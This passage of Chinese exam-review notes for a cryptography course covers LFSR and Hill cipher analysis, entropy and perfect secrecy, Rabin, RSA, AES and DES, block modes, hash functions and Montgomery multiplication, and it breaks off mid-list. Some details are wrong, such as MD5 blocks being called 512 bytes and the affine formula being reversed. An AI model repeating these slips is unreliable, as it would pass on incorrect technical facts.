如果加密密钥为(a,b)(a, b),它表示对于明文字符pp和密文字符cc,有

c=ap+b(mod26)c = ap+b\pmod {26}

经过推导容易得出:

p=a1(cb)(mod26)p = a^{-1}(c-b)\pmod {26}

解密密钥为(a1,a1b)(a^{-1}, -a^{-1}b)

另外注意A对应的数为0不是1。

3. LSFR分析(难度:★★)

出现于2017、2019、2020、2021年第二题,重点在于LSFR生成规则的获取。(今年周期不考)

首先将明文与密文异或得到密钥,题目中会给出LFSR的级数,这也是后面计算的矩阵的行数和列数。为描述方便,以2021年第二题为例讲解。

题中的密钥为001110011011111,级数为5,故以5位单位分组,可以分为3组。设递推公式为

a5=c5a0c4a1...c1an1,ciZ2,c5=1a_{5}=c_5a_0\oplus c_4a_1\oplus ...\oplus c_1a_{n-1},c_i\in Z_2,c_5=1

将其转换为矩阵形式:

a5=(c5c4c3c2c1)(a0a1a2a3a4)a_5=\begin{pmatrix}c_5 & c_4 & c_3 & c_2 & c_1\end{pmatrix} \begin{pmatrix}a_0\\ a_1\\ a_2\\ a_3\\ a_4\end{pmatrix}

扩展到第二组全部5位可以得到:

(a5a6a7a8a9)=(c5c4c3c2c1)(a0a1a2a3a4a1a2a3a4a5a2a3a4a5a6a3a4a5a6a7a4a5a6a7a8)\begin{pmatrix}a_5 & a_6 & a_7 & a_8 & a_9\end{pmatrix} =\begin{pmatrix}c_5 & c_4 & c_3 & c_2 & c_1\end{pmatrix} \begin{pmatrix}a_0&a_1&a_2&a_3&a_4\\ a_1&a_2&a_3&a_4&a_5\\ a_2&a_3&a_4&a_5&a_6\\ a_3&a_4&a_5&a_6&a_7\\ a_4&a_5&a_6&a_7&a_8\end{pmatrix}

以此来计算cic_i的值,这里需要计算一次5×5矩阵的模逆矩阵,计算方法与计算一般矩阵的逆矩阵相同,可以使用伴随矩阵法和行列变换法。对于Z2Z_2上的模逆矩阵运算,行列变换法较伴随矩阵法更方便,且不易出错。

特征多项式:f(x)=xIT=xnc1xn1...cn1xcnf(x)=|xI-T|=x^n-c_1x^{n-1}-...-c_{n-1}x-c_n
求出特征多项式之后即可在域中计算其周期。按照信数中学习的周期计算方法计算即可。

4. 希尔密码(难度:★★)

出现于2018年第二题,重点在于通过加密密钥求出解密密钥。
在已知一组明文和密文的情况下,求密钥很简单。

需要注意的是,如果密钥矩阵的长度为m,则需要m组明文-密文对,把它们组成一个方阵,计算逆矩阵即可求解。如果方阵奇异,则需要重新选择明文-密文对组成方阵。

技巧:求26的模逆矩阵,对2阶和3阶方阵使用伴随矩阵法更方便。考虑到计算量,考试应该不会考高于3阶方阵的模26逆矩阵。

5. 求密码体制的熵、信息量、互信息、完善保密性等(难度:★★★★)

出现于2017、2018、2019、2020年第三题。要牢记熵、信息量、互信息的概念和有关公式,当公式记不清楚的时候通过概念可能可以推出来。这一部分难点在于对公式的灵活运用。

完善保密性相关定理:

定义:一个密码体制具有完全保密性,如果对于任意xPx\in PyCy \in C,都有Pr[xy]=Pr[x]Pr[x|y]=Pr[x],即密文字符随机变量与明文字符随机变量独立(或说明文x的后验概率等于其先验概率)

定理1:假设移位密码的26个密钥以相同概率随机使用,对于任意的明文概率分布,移位密码都具有完善保密性。

定理2:假设密码体制(P,C,K,E,D)(P,C,K,E,D)满足K=C=P|K|=|C|=|P|KCP|K|\ge |C|\ge |P|是完全保密的必要条件)。这个密码体制是完善保密的,当且仅当每个密钥被使用的概率相等,均为1K\frac{1}{|K|},且对于任意xP,yCx\in P,y\in C,均存在唯一密钥kk,使得ek(x)=ye_k(x)=y

判定定理1:对密码体制(P,C,K,E,D)(P,C,K,E,D),若对于任意xP,yCx\in P,y\in C,有k:x=dk(y)Pr[k]=1P\sum_{k:x=d_k(y)}Pr[k]=\frac{1}{|P|},则该密码完善保密。

判定定理2:对于密码体制(P,C,K,E,D)(P,C,K,E,D)KK等概率选取,若对于任意的xP,yC,k:x=dk(y)=KPx\in P,y\in C,|{k:x=d_k(y)}|=\frac{|K|}{|P|},则该密码体制完善保密。(可以由判定定理1推导出)

判定定理3:对于密码体制(P,C,K,E,D)(P,C,K,E,D)P=C|P|=|C|KK等概率选取,当且仅当对于任意的xP,yC,k:x=dk(y)=KPx\in P,y\in C,|{k:x=d_k(y)}|=\frac{|K|}{|P|},该密码体制完善保密。(可以由判定定理4推导出)

判定定理4:对于密码体制(P,C,K,E,D)(P,C,K,E,D)P=C|P|=|C|,且明文P|P|等概率选取。当且仅当对于任意xP,yCx\in P,y\in C,有k:x=dk(y)Pr[k]=1P\sum_{k:x=d_k(y)}Pr[k]=\frac{1}{|P|},该密码体制完善保密。

自信息量:

如果信源发出消息xix_i的概率为p(xi)p(x_i),则其能提供的自信息量(自信息)为:

I(xi)=log21p(xi)=log2p(xi)I(x_i)=\log_2\frac{1}{p(x_i)}=-\log_2p(x_i)

(式中的底数可以换,这里由于使用比特作为信息媒介,因此使用2作为底数。如果使用10进制数字,则就应使用10作为底数,即底数由1位信息媒介的可能取值数决定)

联合自信息量

I(x1x2...xn)=log2p(x1x2...xn)I(x_1x_2...x_n)=-\log_2p(x_1x_2...x_n)

当这些变量均独立时,I(x1x2...xn)=I(x1)+I(x2)+...+I(xn)I(x_1x_2...x_n)=I(x_1)+I(x_2)+...+I(x_n)

条件自信息量:
类比条件概率
后验概率:I(xiyj)=log2p(xiyj)I(x_i|y_j)=-\log_2p(x_i|y_j)
信道转移概率:I(yjxi)=log2p(yjxi)I(y_j|x_i)=-\log_2p(y_j|x_i)
I(xiyj)=log2p(yjxi)p(xi)=I(xi)+I(yjxi)=I(yj)+I(xiyj)I(x_iy_j)=-\log_2p(y_j|x_i)p(x_i)=I(x_i)+I(y_j|x_i)=I(y_j)+I(x_i|y_j)

互信息量:

I(xi;yj)=I(xi)I(xiyj)=log2p(xiyj)p(xi)=log2p(xiyj)p(xi)p(yj)I(x_i;y_j)=I(x_i)-I(x_i|y_j)=\log_2\frac{p(x_i|y_j)}{p(x_i)}=\log_2\frac{p(x_iy_j)}{p(x_i)p(y_j)}

即先验不确定度-后验不确定度

即信息量的期望。

H(X)=E[I(x)]=xXp(x)(log2p(x))H(X)=E[I(x)]=-\sum_{x\in X}p(x)(\log_2p(x))

条件熵

H(XY)=xXyYp(xy)log2p(xy)H(X|Y)=-\sum_{x\in X}\sum_{y\in Y}p(xy)\log_2p(x|y)

注意上面的式子是条件熵,下面的不是!

H(Xy)=xXp(xy)log2p(xy)H(X|y)=-\sum_{x\in X}p(x|y)\log_2p(x|y)

定理1:随机变量XX的概率分布为p1,p2,...,pnp_1,p_2,...,p_n,则H(X)log2nH(X)\le \log_2n,当且仅当pi=1np_i=\frac{1}{n}时等式成立(使用Jensen不等式证明)

定理2H(XY)H(X)+H(Y)H(XY)\le H(X)+H(Y),当且仅当XXYY统计独立时等号成立

定理3H(XY)=H(Y)+H(XY)H(XY)=H(Y)+H(X|Y)

定理4H(XY)H(X)H(X|Y)\le H(X),当且仅当XXYY统计独立时等号成立。

平均互信息量

即互信息量的期望

I(X;Y)=E[I(x;y)]=xXyYp(xy)I(x;y)=H(X)H(XY)=H(Y)H(YX)=H(X)+H(Y)H(XY)I(X;Y)=E[I(x;y)]=\sum_{x\in X}\sum_{y\in Y}p(xy)I(x;y)\\ =H(X)-H(X|Y)=H(Y)-H(Y|X)=H(X)+H(Y)-H(XY)

性质:I(X;Y)=I(Y;X)min{H(X),H(Y)}I(X;Y)=I(Y;X)\le \min\{H(X),H(Y)\},当X,Y存在有一一对应关系时,I(X;Y)=H(X)=H(Y)I(X;Y)=H(X)=H(Y)

平均条件互信息量:I(X;YZ)=I(X;YZ)I(X;Z)I(X;Y|Z)=I(X;YZ)-I(X;Z)


上图中:
绿+紫=I(X;Y)I(X;Y);蓝+紫=I(Y;Z)I(Y;Z);青+紫=I(X;Z)I(X;Z)
绿=I(X;YZ)=xXyYzZp(xyz)log2p(z)p(xyz)p(xz)p(yz)I(X;Y|Z)=\sum_{x\in X}\sum_{y\in Y}\sum_{z\in Z}p(xyz)\log_2\frac{p(z)p(xyz)}{p(xz)p(yz)}
蓝=I(Y;ZX)=xXyYzZp(xyz)log2p(x)p(xyz)p(xy)p(xz)I(Y;Z|X)=\sum_{x\in X}\sum_{y\in Y}\sum_{z\in Z}p(xyz)\log_2\frac{p(x)p(xyz)}{p(xy)p(xz)}
青=I(X;ZY)=xXyYzZp(xyz)log2p(y)p(xyz)p(yx)p(yz)I(X;Z|Y)=\sum_{x\in X}\sum_{y\in Y}\sum_{z\in Z}p(xyz)\log_2\frac{p(y)p(xyz)}{p(yx)p(yz)}
红=H(XYZ)H(X|YZ);橙=H(YXZ)H(Y|XZ);黄=H(ZXY)H(Z|XY)
紫=I(X;Y;Z)=xXyYzZp(xyz)log2p(xy)p(yz)p(zx)p(x)p(y)p(z)p(xyz)I(X;Y;Z)=\sum_{x\in X}\sum_{y\in Y}\sum_{z\in Z}p(xyz)\log_2\frac{p(xy)p(yz)p(zx)}{p(x)p(y)p(z)p(xyz)}
红+青=H(XY)H(X|Y);橙+蓝=H(YX)H(Y|X)
红+绿=H(XZ)H(X|Z);黄+蓝=H(ZX)H(Z|X)
橙+绿=H(YZ)H(Y|Z);黄+青=H(ZY)H(Z|Y)
除黄所有=H(XY)H(XY);除红所有=H(YZ)H(YZ);除橙所有=H(XZ)H(XZ)
青+紫+蓝=I(XY;Z)I(XY;Z);绿+紫+蓝=I(XZ;Y)I(XZ;Y);绿+紫+青=I(YZ;X)I(YZ;X)
红+绿+橙=H(XYZ)H(XY|Z);红+青+黄=H(XZY)H(XZ|Y);橙+蓝+黄=H(YZX)H(YZ|X)

由上图可知以下结论:
I(X;Y;Z)=I(X;Z)I(X;ZY)=I(X;Y)I(X;YZ)=I(Y;Z)I(Y;ZX)I(X;Y;Z)=I(X;Z)-I(X;Z|Y)=I(X;Y)-I(X;Y|Z)=I(Y;Z)-I(Y;Z|X)
H(XY)H(XYZ)=I(X;ZY)H(X|Y)-H(X|YZ)=I(X;Z|Y)
H(YZ)H(YZX)=I(Y;XZ)H(Y|Z)-H(Y|ZX)=I(Y;X|Z)
H(ZX)H(ZXY)=I(Z;YX)H(Z|X)-H(Z|XY)=I(Z;Y|X)
I(X;Y)+I(Z;YX)=I(XZ;Y)I(X;Y)+I(Z;Y|X)=I(XZ;Y)
I(Y;Z)+I(X;ZY)=I(XY;Z)I(Y;Z)+I(X;Z|Y)=I(XY;Z)
I(Z;X)+I(Y;XZ)=I(XZ;Y)I(Z;X)+I(Y;X|Z)=I(XZ;Y)

定理2.10
(P,C,K,E,D)(P,C,K,E,D)是一个密码体制,那么有H(KC)=H(K)+H(P)H(C)H(K|C)=H(K)+H(P)-H(C)
即截获密文后,密钥的熵等于明文的熵加密钥的熵减密文的熵(密钥含糊度)

一般密码体制与熵有关的性质

  1. PC|P|\le|C|(从明文空间到密文空间必为单射)
  2. H(PKC)=H(CKP)=0H(P|KC)=H(C|KP)=0(见定理2.10证明部分)
  3. H(PK)=H(P)+H(K)H(PK)=H(P)+H(K)(见定理2.10证明部分)
  4. 定理2.10结论
  5. H(P)H(C)H(P)+H(K)H(P)\le H(C)\le H(P)+H(K)H(KC)H(K)H(K|C)\le H(K),由定理2.10推出)
  6. H(PC)H(KC)H(P|C)\le H(K|C)

推论:若P=C|P|=|C|,且P随机等概率分布,则C一定随机等概率分布。此时H(KC)=H(K)H(K|C)=H(K)
对于完善保密体制,还有下面的性质:

  1. H(PC)=H(P)H(P|C)=H(P)
  2. PCK(Pr[yx]=Pr[y]>0)|P|\le |C|\le |K|(Pr[y|x]=Pr[y]>0)
  3. H(P)H(C)H(K)H(P)\le H(C)\le H(K)

注意:密码体制之中有三个随机变量:明文P、密文C和密钥K,三者之间有一定关系:
明文与密钥独立,故二者的互信息量I(P;K)I(P;K)为0。
当明文与密钥确定后,密文唯一确定,故条件熵H(CPK)=0H(C|PK)=0,同理当密文与密钥确定后,明文唯一确定,故H(PCK)=0H(P|CK)=0
另外,互信息不可能为负(上面定理4可知条件熵小于熵),因此下图的S3S1,S2S1S3\ge S1,S2\ge S1
在完善保密密码体制中有H(PC)=H(P)H(P|C)=H(P),因此I(P;C)=0I(P;C)=0(明密文独立)



如果上面的结论记不住,可以用熵的定义来计算,就是比较费时间,但一般题目中计算量也不高,注意别算错了就行。

完善保密性的证明:使用定义、使用四个判定定理

6. Rabin密码体制(难度:★★)

掌握加密和解密方法。出现于2021年第四题

Rabin加密需要3个参数参与:n,p,q,其中p和q为私钥且均为4k+3型素数,n=pq为公钥。
加密算法:cipher = (plaintext ^ 2) mod n
解密算法:plaintext=ciphermodnplaintext = \sqrt{cipher} \mod n(在知道密钥的情况下,将其拆成两个式子ciphermodp\sqrt{cipher} \mod pciphermodq\sqrt{cipher} \mod q计算。由于p、q均为4k+3型素数,故其解很好求:ciphercipherp+14(modp),ciphercipherq+14(modq)\sqrt{cipher}\equiv cipher^{\frac{p+1}{4}}\pmod p,\sqrt{cipher}\equiv cipher^{\frac{q+1}{4}}\pmod q,然后使用中国剩余定理)

7. RSA密码体制加解密(难度:★★)

掌握加密和解密方法,出现于2020年第四题,2017、2018年第五题

通过n解出p和q的值,计算cdmodnc^d\mod n即可(ed1(modφ(n))ed\equiv 1\pmod {\varphi(n)}

8. 有限域字节代换(难度:★★)

出现于2018、2020年第六题,2017年第七题,重点在于逆元的计算。

两题都给了’00’的替换值,通过这个值可以直接获得C的值,然后逐位计算即可。

9. 原理题(难度:★★★)

出现于2017年第七题,2018、2019、2021年第八题,这种题范围广泛,需要我们对各种加密函数、散列函数、密码分析原理等有一定的理解。

需要能说得出基本原理的名词解释,可按照下面列表进行自测:

  • 古典密码加密原理
    • 移位密码
    • 代换密码
    • 仿射密码
    • 维吉尼亚密码
    • 希尔密码
    • 置换密码
  • 古典密码分析原理
    • 移位密码的唯密文攻击原理(暴力破解)
    • 代换密码的唯密文攻击原理(字频分析
    • 仿射密码的唯密文攻击原理(字频分析)
    • 维吉尼亚密码的唯密文攻击原理(Kasiski测试法、重合指数法
    • 希尔密码的已知明文攻击原理(矩阵计算)
  • 四种密码攻击方式
  • 流密码
    • LSFR的工作原理
    • LSFR的变换矩阵、特征多项式分析原理(已知明文攻击)
  • 唯一解距离和乘积密码体制
    • 伪密钥的概念
    • 自然语言的熵和冗余度
    • 自然语言的唯一解距离
    • 乘积密码和幂等密码
  • 线性密码框架
    • SPN网络的加密过程
    • Feistel结构的加密过程
  • 线性密码分析
    • 线性逼近分析原理与过程
    • 差分分析原理与过程
  • 几种线性密码
    • AES基本流程
    • DES基本流程
  • 分组密码的五种工作模式原理与区分
    • ECB(电子密码本)
    • CBC(密码分组链接)
    • CFB(密码反馈)
    • OFB(输出反馈)
    • CTR(计数器)
  • CTS(密文挪用)
  • Hash函数
    • Hash函数三个安全性问题
    • 生日攻击原理
    • MD5基本流程
    • SHA1基本流程
    • SHA3基本流程
    • SM3基本流程
    • MAC校验码
      • HMAC
      • CBC-MAC
      • CCM
    • 彩虹表攻击原理与优势
  • 公钥密码体制
    • 中国剩余定理加速解密RSA
    • Montgomery算法原理
    • DH密钥交换的实现及中间人攻击原理
    • 素性检测算法
      • 伪素数
      • Solovay-Strassen算法
      • Miller-Rabin算法
    • 共模攻击与小加密指数攻击原理
    • 小解密指数的Wiener攻击原理
    • ElGamal密钥交换原理
    • 数字签名的基本概念与作用
    • ElGamal数字签名算法原理
    • DSA数字签名算法原理
    • PGP基本结构

原理简述:

  • 古典密码加密原理
    • 移位密码:将明文全部字母按序号向后移动替换固定位数得到密文,如A向后1位为B,向后2位为C等。移位密码每位移动的数值为密钥,明文和密文均在模26的整数群中。
    • 代换密码:将明文字母与密文字母组成一一对应关系,将明文中所有字母按照这个关系替换为对应的字母,顺序不变,得到密文。
    • 仿射密码:将明文字母与密文字母形成模26的线性关系p=ac+bmod26p=ac+b\mod 26,按照此线性关系替换明文中的所有字母为密文字母,输出密文。
    • 维吉尼亚密码:需要一个长度为k的密钥,将明文按照密钥长度进行分组,对于每一个分组,其中的每一个字母进行移位,移位位数为密钥中对应位置字母的序号。
    • 希尔密码:需要一个行数和列数均为k的矩阵作为密钥,将明文按照k长度分组,对于每一个分组,将明文行向量与矩阵进行乘积计算得到密文分组。
    • 置换密码:以某种方式将明文中的字母重新排列,多进行分组。
  • 古典密码分析原理
    • 移位密码分析:由于移位密码的密钥只有26个,因此当明文具有特定意义时可以通过暴力求解。当明文不具有特定含义与标识时,由于无法确认26个解密结果中哪一个是明文,无法进行解密。
    • 代换密码分析:对于一段有含义的英文文本,代换前后的字母频率不变,如英文中字母e的出现频率最高,那么在经过代换密码加密后的密文中出现频率最高的几个字母中很可能就有一个是由e代换而来。因此通过对密文中的字频分析对几个字母的代换关系进行猜解。
    • 仿射密码分析:同字频分析,但由于仿射密码中明文字母与密文字母具有特定线性关系,因此只需要对两个字母的对应关系进行猜解就可以计算出密钥a和b的值,以计算出来的值带回到密文中尝试还原。
    • 维吉尼亚密码的Kasiski测试法:测试密钥的长度使用的方法。在密文中找到相同的长度为3及以上的串,获取它们的起始位置,求差后取最大公因数,则最大公因数很可能就是密钥的长度。
    • 维吉尼亚密码的重合指数法:测试密钥的长度与破解使用的方法。重合指数指的是一段文本中任取两个字母相同的概率。尝试不同的密钥长度,计算使用同一个字母序号唯一加密的字母组的重合指数(如尝试密钥长度为5,则应选取第1/6/11…位计算重合指数),每一组计算出的重合指数应该与英文自然语言文本的重合指数相差不大。找到密钥长度之后对26个不同的偏移量还原出的文本计算其与明文的重合指数:Mg=i=025pi×fi+gnM_g=\sum_{i=0}^{25}p_i\times \frac{f_{i+g}}{n'},其中pip_i为英文中不同字母出现的概率,fi+gn\frac{f_{i+g}}{n'}为还原文本中不同字母出现的频率。
    • 希尔密码分析:如果密钥长度为k,已知k组明密文对,则可以将明密文对分别组成两个矩阵进行计算,直接求出密钥矩阵。
  • 四种密码攻击方式
    • 唯密文攻击:仅得知密文并由此分析出原文的攻击方式。通过这种攻击方式可以破解的密码有:移位密码(明文有特定含义的绝大多数情况下)、仿射密码(明文有特定含义且有足够长度的情况下)、代换密码(明文有特定含义且有足够长度的情况下)、为吉尼亚密码(明文有特定含义且有足够长度的情况下,一般其需要的密文长度大于前面三种)
    • 已知明文攻击:得知特定密文及其对应明文,从而获取密钥的攻击方式。通过这种攻击方式可以破解的密码有:希尔密码(需要知道加密矩阵的维数)、基于LSFR的流密码(需要知道特征表达式的次数或变换矩阵的维数)、SPN网络的线性分析(需要一定量的明密文对)
    • 选择明文攻击:攻击者可以自行选择明文获取其密文,据此获取密钥的攻击方式。通过这种攻击方式可以破解的密码有:SPN网络的差分分析
    • 选择密文攻击:攻击者可以自行选择密文获取其明文,据此获取密钥的攻击方式
  • 流密码
    • LSFR的工作原理:LSFR(线性反馈移位寄存器)是一种根据前几位输出决定下一位输出的周期性的序列发生器。通常是前面几位的异或值得到下一位的值。递推公式为an=cna0cn1a1...c1an1,ciFq,cn=1a_{n}=c_na_0\oplus c_{n-1}a_1\oplus ...\oplus c_1a_{n-1},c_i\in F_q,c_n=1
    • LSFR分析原理:LSFR的变换矩阵的行数等于参与计算下一位的最前面的一位与该位的位置之差。如xn=xn1xn3xn5x_n=x_{n-1}\oplus x_{n-3}\oplus x_{n-5},则变换矩阵的行数为5。特征多项式f(x)=xIT=xnc1xn1...cn1xcnf(x)=|xI-T|=x^n-c_1x^{n-1}-...-c_{n-1}x-c_n。如果已知长度为2n的明密文对应序列,可以分析出变换矩阵与递推公式。即在模2整数群中计算矩阵逆与乘法运算。
  • 唯一解距离和乘积密码体制
    • 伪密钥的概念:解密后存在多个密钥使明密文满足加解密函数时不是真正密钥的称为伪密钥。(如移位密码中26个密钥的解密结果中有不止一个结果具有含义)
    • 自然语言的熵和冗余度:自然语言中有意义的明文串中每个字母的平均信息量。英文的熵为1.0HL1.51.0\le H_L\le 1.5,通常取1.25(注意:如果按照英文文本中字母出现概率来计算,熵应该为4.19左右,但由于相邻字母之间的出现会有很大的概率影响,取值并非独立,因此是将文本按照若干字母一组的形式计算熵,再除以每一组的字母数量得到单字母的平均熵)。语言的冗余度可以理解为相对于所有字母随机选取的情况,其熵减少的比例:$$R_L=1-\frac{H_L}{\log_2|P|}=\frac{H_0-H_L}{H_0}$$
    • 自然语言的唯一解距离:使得伪密钥出现数量的期望值为0需要的最短分组数量。(能够唯一计算出密钥的密文的平均长度),通过计算H(KCP)=0H(K|C^P)=0求出。

    n0=log2KRLlog2Pn_0=\frac{\log_2|K|}{R_L\log_2|P|}

    • 乘积密码:使用两种密码进行加密,第一种密码加密原明文,第二种密码加密第一种加密算法输出的密文。
    • 幂等密码:某加密体制A,有A2=A,称A为幂等密码体制。即加密一次和两次的明文空间、密文空间、密钥空间、加解密算法均相同。
  • 线性密码框架
    • SPN网络加密原理:代换-置换网络。SPN网络在一次迭代中会进行异或、分组代换与置换。异或是输入与流密钥进行异或,分组代换即将异或后的结果分为几组,使用提前确定的代换表进行逐一代换,代换后组合再进行置换输出。
    • Feistel结构的加密过程:每一轮迭代只会加密输入的一半,使用另一半与流密钥的函数(非线性函数,无需可逆)与这一半异或以加密这一半,另一半保留至下一次迭代加密。其加密算法与解密算法相同,密钥逆序使用。
  • 线性密码分析
    • 线性逼近分析原理:首先根据代换表画出线性逼近表(通常为16×16,它表示取明文中某些位与密文中某些位异或后结果为0的明密文对数,其值应该为0~16之间的偶数),根据线性逼近表找到偏差较大的几组带入到SPN网络中进行线性逼近分析,追踪受到影响的比特位,选择偏差最大的明密文对进行分析,根据堆积引理计算出输入明文中某些位与输出密文中某些位的异或值的偏差。这是一种已知明文攻击方法,需要较多的明密文对。
    • 差分分析原理:明文选择两个值,这两个值的异或值固定,如果选择的值为4比特位,那么可以选择16个明文对,这16个明文对代换后产生16对输出。我们要研究的是这16对输出的异或值分布情况。如果16对输出中有6对及以上输出的异或值都相等,这就是明显的差分特征,说明输入的差分特征很好地传递给了输出的某个异或值。其中这个值出现的频率称为扩散率。差分链的构建与线性分析类似。
  • 几种线性密码
    • AES基本流程:AES的加密流程分为加密和密钥编排两部分。
      • 加密:明文首先与轮密钥进行异或,之后进行若干次迭代。迭代完成之后,再进行一次字节代换、行移位变换、与轮密钥异或后输出密文。一轮迭代中共有四步:字节代换、行移位变换、列混合变换、与轮密钥异或。
      • 密钥编排:将密钥排列成4×4的字节矩阵,每一次编排产生一个新的密钥矩阵作为轮密钥使用。具体方法是:对于新轮密钥的第一列,首先需要当前轮密钥最后一列循环上移1位,之后字节代换与当前轮密钥第一列异或得到。后面的3列则是其前面第一列与其前面第四列异或得到。
    • DES基本流程:DES的加密流程分为加密和密钥编排两部分。
      • 加密:首先进行初始置换,然后需要迭代16次,最后进行逆置换输出密文。一轮迭代中,输入的右半部分直接作为输出的左半部分,输出的右半部分是输入右半部分与轮密钥输入到函数f中后再与输入左半部分异或得到。在函数f中,输入的左半部分从32位经函数E扩展到48位,之后与轮密钥异或,以6位为单位分为8组分别进行代换,最终再进行一次置换后输出。
      • 密钥编排:将64位密钥首先进行置换压缩到56位,然后分为左右两部分进行循环移位,最后压缩置换到48位输出为轮密钥。
  • 分组密码的五种工作模式原理与区分
    • 优缺点衡量标准:安全性、错误是否会传播、计算繁简程度、是否可以并行计算或离线计算等
    • ECB:电子密码本模式(Electronic CodeBook),对每一个分组进行分别加密,加密后组合得到密文。每一个分组之间没有任何联系。计算方便,不会产生错误传播,可以并行计算,但安全性低。
    • CBC:密码分组链接模式(Cipher Block Chaining),每一个分组的加密结果与上一个分组的密文有关(本组明文与上组密文异或,因此实际上加密的不是这一组的明文)。会产生错误传播,不能并行计算,安全性较ECB高,可以并行解密。
    • CFB:密码反馈模式(Cipher FeedBack),可以用于实时加密字节级别的数据,存在一个移位寄存器,将移位寄存器中的值与密钥加密之后取与明文长度相同的一块与明文异或得到密文,将密文的一部分或密文本身(如果密文仅为1字节)放入移位寄存器中,移位寄存器移位变换。CFB与CBC的区别是CFB是先加密后异或,CBC是先异或后加密。不能并行计算,会产生错误传播,可以并行解密。
    • OFB:输出反馈模式(Output FeedBack),与CFB类似,不同之处是放入移位寄存器的不是异或之后的密文而是密钥加密之后还没有与明文异或的部分Ki。不能并行计算,不会产生错误传播,可以离线工作(生成移位寄存器的值序列),密钥序列最终会重复。
    • CTR:计数器模式(Counter),将加密的计数与密钥放入加密函数中加密,然后与明文异或得到密文。
  • CTS:密文挪用(CipherText Stealing),一种分组密码的填充方式。设分组长度为G,明文长度为kG+a(a<G),加密第k块,也就是最后一个完整块得到Ck,提取其中的后G-a位补充到明文最后面,这样可以和剩下的a位明文凑齐一组再加密一组得到Ck+1。密文的第k个完整块实际上应为Ck+1,后面跟上Ck的前a位,使得密文长度和明文长度相等。在解密时首先解密第k个完整块得到Ck的后G-a位,接到Ck的前a位上解密Ck
  • Hash函数
    • 三个安全性问题
      • 原像问题:给定摘要值y,能否通过某种方式找到x使得y是x的摘要。
      • 第二原像问题:给定消息x,能否通过某种方式找到另一个x0使得二者的摘要值相等。
      • 碰撞问题:任意选择两个消息能够通过某种方式找到两个摘要值相等。
    • 生日攻击:对于一个输出空间大小为M的随机函数,只需要计算大约M2Mln11ε\sqrt M(\sqrt{2M\ln\frac{1}{1-\varepsilon}})个函数值就能够以一个不可忽略的概率发现一个碰撞。(ε\varepsilon为成功概率)
    • MD5基本流程:将明文按512字节分为若干组,不够的padding。定义4个魔数,每一组进行64次迭代计算更新这四个数,最终的输出结果就是这四个数的拼接。
    • SHA1基本流程:与MD5类似,不过需要定义5个数,每一块迭代计算80次,且为大端序(MD5为小端序)
    • SM3基本流程:与MD5类似,不过需要定义8个数,每一块迭代计算64次,且为大端序
    • SHA3基本流程:基于Keccak算法的海绵结构,可以接受任意长度的输入,产生任意长度的输出。每一轮迭代需要进行5种计算:θ,ρ,π,χ,ι\theta,\rho,\pi,\chi,\iota
    • HMAC:报文校验码
      ipad = 3636…36
      opad = 5c5c…5c
      HMACK(x)=SHA-1((K\oplusopad)||SHA-1((K\oplusipad)||x))【||表示连接】
    • CBC-MAC:基于密码分组链接的校验码。将明文分为等长的段,进行CBC模式加密,将最后一组的加密结果作为校验码。
    • CCM:CTR+CBC-MAC,加密+校验
      Ti=ctr+i mod 2m,x=x1||…,yi=ek(Ti)\oplusxi
      temp = CBC-MAC(x, K),y’ = T0\oplustemp,y=y1||y2||…||y’
    • 彩虹表:以时间换空间的方法。如果需要暴力破解一个Hash值,常规方法需要存储大量的哈希值,存储空间巨大。彩虹表需要一个从Hash值空间到口令空间均匀分布的函数R,彩虹表由多个链表组成,每一个链表的开头是一个明文,后面接上其对应的Hash值,然后通过这个Hash值输入到R中获得另外一个明文,后面接上这个明文对应的Hash值,如此进行下去。存储时只需要存储一个链中的第一个明文和最后一个明文。给定一个需要破解的Hash值,交替输入到函数R和Hash中,将每一次R的输出结果与每一个链的最后一个明文进行比较,如果存在相等,则彩虹表中某一个链中一定存在明文的哈希值等于给定哈希值。设定彩虹表中每一条链的长度为n,那么只需进行最多n次比较。
  • 公钥密码体制
    • 使用中国剩余定理加速解密RSA:解密需要计算cdmodn=mc^d\mod n=m,拆成mcdxmodp,mcdymodqm\equiv c^d\equiv x\mod p,m\equiv c^d\equiv y\mod q,使用中国剩余定理:mxq(q1modp)+yp(p1modq)modnm\equiv xq(q^{-1}\mod p)+yp(p^{-1}\mod q)\mod n。(不要忘了中国剩余定理)
    • Montgomery算法原理:这是一种不使用除法就能完成的大整数模乘运算。现在需要计算abmodnab\mod n,我们需要找到一个大于n的最小的R,使得R是2的k次幂,然后求出aaRmodn,bbRmodna'\equiv aR\mod n,b'\equiv bR\mod n这两个数。计算X1=abR1abRmodnX_1=a'b'R^{-1}\equiv abR\mod n,设ab=Xa'b'=X,由此我们只需要计算X1R1modnX_1R^{-1}\mod n即可。蒙哥马利算法的关键也就在于如何约简X1R1modnX_1R^{-1}\mod n的计算。不难发现由于R是2的幂且与n互素,因此计算X1R1X_1R^{-1}不需要进行除法运算,只需要右移即可,但为了避免低位因为右移而被截断消失,我们计算(X1+mn)R1modn(X_1+mn)R^{-1}\mod n,其中X1+mnX_1+mn是R的倍数,这样就能保证移位前后值严格相等。现在问题就转化为如何寻找这个m。由扩展欧拉定理可以算出RRNN=1(0<N<R,0<R<N<R)N=N1RR'-NN'=1(0<N'<R,0<R'<N<R)\Rightarrow N'=-N^{-1}X1+mn0modRX1N+mNN0modRX1NmmodRX_1+mn\equiv 0\mod R\Rightarrow X_1N'+mNN'\equiv 0\mod R\Rightarrow X_1N'\equiv m\mod R。这样就求出了m。
      示例:使用蒙哥马利算法计算56×78mod10156\times78\mod 101
      容易得到R=27=128,a=56×128=7168,b=78×128=9984,X=ab45mod101R=2^7=128,a'=56\times 128=7168,b'=78\times128=9984,X=a'b'\equiv45\mod 101
      计算n119mod128-n^{-1}\equiv19\mod 128
      X1=XR169mod101X_1=XR^{-1}\equiv69\mod 101
      故有m69×1931mod128m\equiv69\times19\equiv31\mod 128
      X1+mn=69+31×101=3200X_1+mn=69+31\times101=3200
      (X1+mn)R125mod101(X_1+mn)R^{-1}\equiv 25\mod 101
      计算结果为:25
    • DH密钥交换的实现及中间人攻击:常规的DH密钥交换基于离散对数难题,不难理解,详见PPT。
    • 素性检测算法
